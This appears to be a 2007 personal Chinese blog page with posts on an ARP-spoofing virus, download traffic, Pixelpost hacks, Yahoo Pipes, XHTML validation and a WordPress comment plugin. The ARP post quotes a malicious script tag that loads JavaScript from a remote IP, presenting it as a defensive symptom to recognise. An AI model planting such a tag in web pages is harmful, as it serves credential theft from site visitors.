Aug 22, 2007
首先强调下,这个病毒并不是一个新病毒,只是因为最近俺们系的局域网里闹了一次,所以拿出来说说。
现象:
- 电脑上网特别慢,甚至无法上网。
- 打开网页后查看源代码会发现代码前被加了一小段如下的代码(地址可能不同)。
<script src=http://66.186.33.44/n.js></script>
- 打开一些需要运行javascript的网页只能看到乱码。
- 同时多台在C类网段的电脑出现上述之一的情况。
- 出现上述任何一条情况都有可能是ARP病毒。
分析:
这是一个典型的ARP病毒。原作者用自以为高明的办法给源代码加了密,其实稍有点计算机知识的人就能破解。具体病毒代码我就不深入分析了,目的就是利用微软的漏洞来偷些用户资料,比方说游戏的用户名和密码什么的。如果说散这个病毒是为了好玩,那么我可怜it,整个一情商低能儿;如果说是为了卖资料换钱,那是犯罪,这种东西连鄙视it都觉得是浪费自己感情。
说远了。其实ARP病毒,就是中毒的电脑会把自己伪装成你所在C类网段的gateway,这样就可以让局域网内其他电脑必须通过它才可以上网,从而截取数据包中的一些信息了。这样会导致其他没中毒电脑的上网速度下降甚至断网等症状。
解决办法:
可以在行命令方式键入命令:“ARP -a”,如果网内有人中毒的话,你就会发现最少有两台电脑的MAC地址是一样的,记录下来,汇报给网管。接下来的任务就是由网管找出被感染的电脑,然后杀之。
作为终端用户,咱们要做的就是开着系统的自动更新功能,微软的东西,不打补丁是很危险的。其次就是一定要安装杀毒软件,做到防患于未然。对于这个病毒来说,一般的杀毒软件都能搞定它。
Jul 31, 2007
迅雷下载是现时非常实用的一款下载软件,速度奇快无比。不过各位个人网站站长在共享自己的资源时候,千万要小心,不要给迅雷盯上,否则后果可能非常严重。下面是我的case:
最近这段时间,我发现我的个人网站浏览速度很慢,而且流量特别异常:
可以看到7月18日以后流量猛增,到29日更达到了每日21.7G的流量,但是同期个人网站访问量却没有质的飞跃。经过仔细分析access log文件后,我发现绝大多数流量来自206类型的访问,换而言之就是不经过页面直接下载文件。其中,一首mp3被下载的次数最多,日下载达到了5800次之多,也就是每分钟就有4个下载,而且这些下载全都没有经过如百度mp3等歌曲搜索引擎。
这样的结果,只有迅雷才能办到。再回想一下并查证了记录,发现当初自己用这首歌来测试过自己网站的下载速度,用的就是迅雷。
于是真相大白,迅雷记录了我网站上这首歌的地址,并且放到的自己的数据库中,所以造成了这样的海量下载结果。找到了问题的症结所在,处理起来也简单了,我把这mp3改了个名字,可以看到,30日,我的网站流量就迅速回复正常了。
所以在这儿,给各位个人站长提个醒,千万不要用迅雷下载自己网站上的文件,尤其是mp3,录像等大型文件 ,否则那后果可能相当的严重。对了,那首吸引了数以万计下载的歌叫做《可不可以不勇敢》
Apr 15, 2007
As Pixelpost 1.6.0 is released, some update/hacks are needed to make the permalinks work.
The followings are the hacked files for the new version-pixelpost 1.6.0.
I've hacked index.php and paged_archive.php. Please be noted that .htaccess update is a MUST.
http://znsunimage.com/Download/2007/..._pixelpost.rar
for the demo. please visit http://click.znsunimage.com
接下来的网络时代,必定是web2.0的天下。之前我用Google Reader对自己的网络资源进行了整合。
今天发现Yahoo!几个月前推出了Pipes功能,同样可以让用户自己收集网络上的资源,然后整合之。
就目前来说,前者更适合自己阅读时候使用;而后者在“共享”这个理念上更符合web2.0这个概念,因为它可以的组合、生成新的RSS资源,而且方便其他用户在你的基础上更改。。
作为终端用户,当然是要取长补短啦。我将自己的网站整合到了pipes中,于是就得到了下面这个新的资源:
徘徊在玻璃之城
里面收集了我的blog,我的photoblog, 我的网站等。当然,应用这个聚集器最好的方法就是利用它生成的RSS,将其导入到自己的Google Reader中使用啦。
你也可以自己定制自己的pipe,如果你不会,只要在我的pipe基础上修改一下就可以了。
Mar 21, 2007
费了点时间让自己的网页上都贴上了Valid XHTML的标签,于是顺便扯几句。
XHTML,其实就是一个标准,至于来历,看我后面的扯谈。架构一个符合XHTML标准的网站并不难,可世界上的网站,真能符合w3C颁布标准的还真不多。因为养成的习惯要改并不是那么容易的,而且浏览器也都支持那些旧的标准,这也是不少网站对浏览器兼容不好的问题所在。如果要验证自己的网站是否符合这一标准,只要去 validator.w3.org/ 输入自己的网址就可以了。
如果你的网站不符合XHTML,这不代表它有什么太多的劣势(google的网页没一个符合的),而是你的网页有潜在的兼容性问题,结构上的问题可能让你耗费更多的时间来调整网页代码,使其在不同浏览器中看起来一致。我之前就一直不知道<li>必须嵌置在<ol>或者<ul>中,结果不得不花费时间来调整css代码。
而要架设一个符合XHTML的博客。
- 最简单的开始就是先掌握XHTML相对于之前HTML的区别。http://www.w3schools.com/ 上给出了详细的说明,还可以做一下上面的Quiz。
- 其次就是找一个比较好的平台。wordpress,blogspot,都是不错的平台,用他们编置出来的网页,错误相当的少(一般不会超过100)。
- 尽可能的使用css来控制你网页上元素的性质(颜色,长宽,空白,一切的一切)。将这些元素从XHTML中剥离出来,也是他们的一个目标之一。
- 随后就是利用上面的http://validator.w3.org/去验证你的网站,它对错误都会给出详细的说明,调试起来很方便。
- 安装Firefox,使用它的插件的Web Developer进行各种调试纠错,会大大缩短你用的时间。
当你完成所有的纠错以后,就只剩下最后一件事情了。
,在你的网页中插入如下的代码:
<a href="http://validator.w3.org/check?uri=referer" target="_blank">Valid XHTML</a>
【注】
说XHTML,就不可避免的从HTML说开去,自然,也就要提到Berners Lee这位互联网的鼻祖。
话说我刚上小学那会儿,还是个向往当天文学家的主,全因为有一年哈勃上了天;但当时的我却不知道(嗯,绝大多数人都不知道)―正是在那一年Berners Lee在欧洲的粒子实验室倒腾出了万维网。时至今日,你还能看到当年网站的屏幕截图。
也正是Berners Lee,领导建立了现如今互联网的标准语言,其中就包括了大名鼎鼎的HTML,全称就是HyperText Markup Language。因为技术的障碍,之前的HTML不得不相对的松散,也就产生了诸多兼容性的问题,人们用不同的浏览器得到的效果经常会不同;而且,随着发展,website在跨平台信息交流中的作用也日益显现。所以Berners Lee们自然而然的就想到了将其标准化。而XHTML,也就是HTML4.01版,就是标准化过程中的一个里程碑。
Mar 19, 2007
本文永久地址:
http://blog.znsunimage.com/plugins-list/ajax-comments-reply/
MSN留言风格的Ajax Commens-Reply插件
(MSN Type Ajax Comments-Reply Plugin)
- 点击下载,版本:1.5 ,最后更新于2007/04/23
原创于懶懶喵日記,后Zhang-Zi根据此版本制作了非常优秀的Ajax Comments-Reply插件,现在这个版本实质是将Zhang-Zi的两个版本(一个是以前的实现msn风格的留言版本,另一个是他现在用的版本)合二为一。因此,这里特别感谢两位作者之前所作的大量努力。此版本主要实现的功能如下:
修订版1.5主要改了一下几个方面:
修订版1.1β主要改了一下几个方面:
- 修改了原插件必须放置在wordpress根目录下的缺点,同时保留了prototype.lite等函数(因为我用的litebox中也用到了prototype.lite【注】litebox是lightbox的精简版本,用以实现图片显示的特殊效果)。
- 整合了Zhang-Zi的两个不同版本的插件,合并了部分代码,使之达到现在的显示效果。
- 修改了留言栏的式样,使得符合我的blog风格。
- 压缩了javascript代码,其中css文件没有压缩,如果有需要,可以参考我的文章:加速Wordpress
- 加上了Smiley JS Buttons的表情代码,如果你安装了Smiley JS Buttons,可以在单页留言中使用表情符号。
压缩包内容,包含在一个comment-reply的文件夹:
- readme.html //Read Me
- ajax-comments.php //实现在多文章页面上留言
- comments.php //实现单页面上的留言
- comment.css // css文件,控制评论栏效果
- comment.js, parse.js.php //已压缩的 javascript文件
- moo.ajax.js, prototype.lite.js, moo.fx.js //prototype.lite 模块
- comments-ajax.php //ajax留言处理
- comment-reply.php //插件控制
- working.gif //Loading留言时候的动态图标
- unzip文件夹 //未压缩过的javascript版本
插件安装使用:
- 从上面链接下载安装文件,解压缩后得到一个comment-reply文件夹
- 把文件夹的comments.php放到模版目录下,覆盖同名文件—请备份旧的comments.php
- 将comment-reply文件夹整个放入插件目录。结构如下:
---------------Plugins/
----------------------/comment-reply/
----------------------------comment-reply.php 等文件
- 到管理界面启用Ajax Comments-Reply修订版插件。
- 在index.php中用以下代码显示评论:
<?php $pid=$post->ID; $cnum = get_comments_number(); showcomment($pid, $cnum);?>
插件卸载:
- 将模版目录下备份的comments.php复原。
- 管理界面停用插件或者直接删除此插件文件。
欢迎使用。有任何问题,可在此留言,或者email 到 "qmqsun(AT)gmail.com",当然,也可以去问Zhang-Zi,他的G-talk是"zhang(AT)zhiqiang.org"。